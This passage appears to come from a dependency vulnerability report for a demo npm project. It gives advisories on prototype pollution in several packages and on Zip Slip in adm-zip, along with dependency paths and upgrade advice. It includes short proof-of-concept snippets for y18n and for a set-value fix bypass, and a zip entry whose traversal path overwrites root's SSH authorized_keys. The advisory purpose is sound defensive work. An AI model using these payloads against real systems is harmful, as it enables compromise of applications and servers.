When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade handlebars to version 4.5.3, 3.0.8 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary File Write via Archive Extraction (Zip Slip)

+
+ +
+ critical severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + adm-zip +
  • + +
  • Introduced through: + + goof@1.0.1 and adm-zip@0.4.7 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + adm-zip@0.4.7 + + + +
  • +
+ +
+ +
+ +

Overview

+

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

+

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).

+

Details

+

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

+

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+

+        +2018-04-15 22:04:29 ..... 19 19 good.txt
+        
+        +2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
+        
+

Remediation

+

Upgrade adm-zip to version 0.4.11 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + y18n +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + yargs@11.1.0 + + y18n@3.2.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + yargs@13.3.2 + + y18n@4.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + yargs@15.4.1 + + y18n@4.0.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

y18n is a the bare-bones internationalization library used by yargs

+

Affected versions of this package are vulnerable to Prototype Pollution. PoC by po6ix:

+
const y18n = require('y18n')();
+         
+        y18n.setLocale('__proto__');
+        y18n.updateLocale({polluted: true});
+        
+        console.log(polluted); // true
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade y18n to version 3.2.2, 4.0.1, 5.0.5 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + unset-value +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + unset-value@1.0.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade unset-value to version 2.0.1 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + typeorm +
  • + +
  • Introduced through: + + goof@1.0.1 and typeorm@0.2.24 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + + +
  • +
+ +
+ +
+ +

Overview

+

typeorm is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8).

+

Affected versions of this package are vulnerable to Prototype Pollution. It allows an attacker that is able to save a specially crafted object to pollute the Object prototype and cause side effects on the library/application logic, such as Denial of Service attacks and/or SQL injections.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade typeorm to version 0.2.25 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + set-value +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
+ +
+ +
+ +

Overview

+

set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.

+

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.

+

PoC

+
const set = require("set-value")
+        
+        // set({}, ['__proto__','polluted'], 'yes');
+        // console.log(polluted); // Error: Cannot set unsafe key: "__proto__"
+        
+        set({}, [['__proto__'],'polluted'], 'yes');
+        console.log(polluted);
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade set-value to version 4.0.1, 2.0.1 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + set-value +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
